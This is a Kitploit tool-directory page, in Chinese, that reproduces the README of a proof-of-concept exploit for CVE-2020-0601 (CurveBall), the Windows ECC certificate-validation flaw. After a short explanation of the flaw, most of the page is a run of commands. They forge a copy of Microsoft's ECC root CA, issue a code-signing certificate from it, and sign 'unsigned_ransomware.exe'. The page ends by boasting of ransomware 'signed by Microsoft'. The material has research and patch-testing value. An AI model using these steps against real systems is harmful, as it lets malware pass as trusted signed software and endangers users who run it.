Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CurveBall-CVE-2020-0601-PoC — CVE-2020-0601(CurveBall)的概念验证漏洞利用,演示了通过绕过 ECC 证书验证来伪造受信任的 CA 并签署任意可执行文件。 | Kitploit
工具/GitHubGitHub/okanulkr/curveball-cve-2020-0601-poc
漏洞分析代码分析漏洞利用密码学渗透测试红队
GitHubokanulkr/curveball-cve-2020-0601-poc

CurveBall-CVE-2020-0601-PoC

CVE-2020-0601(CurveBall)的概念验证漏洞利用,演示了通过绕过 ECC 证书验证来伪造受信任的 CA 并签署任意可执行文件。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
55年前尚未审核
分享

CurveBall (CVE-2020-0601) - PoC

该漏洞被称为 CurveBall,是由于使用 ECC 算法的证书验证无效所致。Windows 尝试从证书缓存中验证先前已验证过的证书,在此过程中,它仅检查证书的公钥是否相同,而不检查其他参数。

数学细节

为了伪造证书,我们明确设置参数如下:

root@kitploit:~
d' = 1 
G' = Q

如果需要更多信息,可以查看 final_report_milestone_IV.pdf 文件中的数学细节部分。

使用方法(代码签名)

在此 PoC 中,我们使用 "Microsoft ECC Product Root Certificate Authority",这是微软的受信任证书,有效期至 2043 年。

让我们从 CA 中提取公钥,并根据该漏洞对其进行修改

root@kitploit:~
ruby exploit.rb ./MicrosoftECCProductRootCertificateAuthority.cer

我们基于此密钥生成一个新的 x509 证书。这将成为我们自己的伪造 CA。

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt -subj "/C=/ST=/L=/O=/OU=/CN=/emailAddress="

查看 spoofed_ca.crt 的内容

root@kitploit:~
openssl x509 -in spoofed_ca.crt -noout -text

我们生成一个新密钥。此密钥可以是您想要的任何类型。它将用于创建代码签名证书,我们将使用自己的 CA 对其进行签名。

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

接下来,我们创建一个新的证书签名请求(CSR)。此请求通常会发送给受信任的 CA,但因为我们有自己的伪造 CA,所以可以自行签名。

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

我们使用伪造的 CA 和 CA 密钥对新的 CSR 进行签名。此证书将于 2047 年过期,而真正受信任的微软 CA 将于 2043 年过期。

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

剩下唯一要做的就是将证书、其密钥以及伪造的 CA 打包到一个 PKCS12 文件中,用于对可执行文件进行签名。

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

让我们使用 PKCS12 文件签署我们的可执行文件。

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by PISP Team" -in unsigned_ransomware.exe -out microsoft_signed_ransomware.exe -pass 1234

现在,我们有了一个全新的勒索软件,由微软签名 :)

下载工具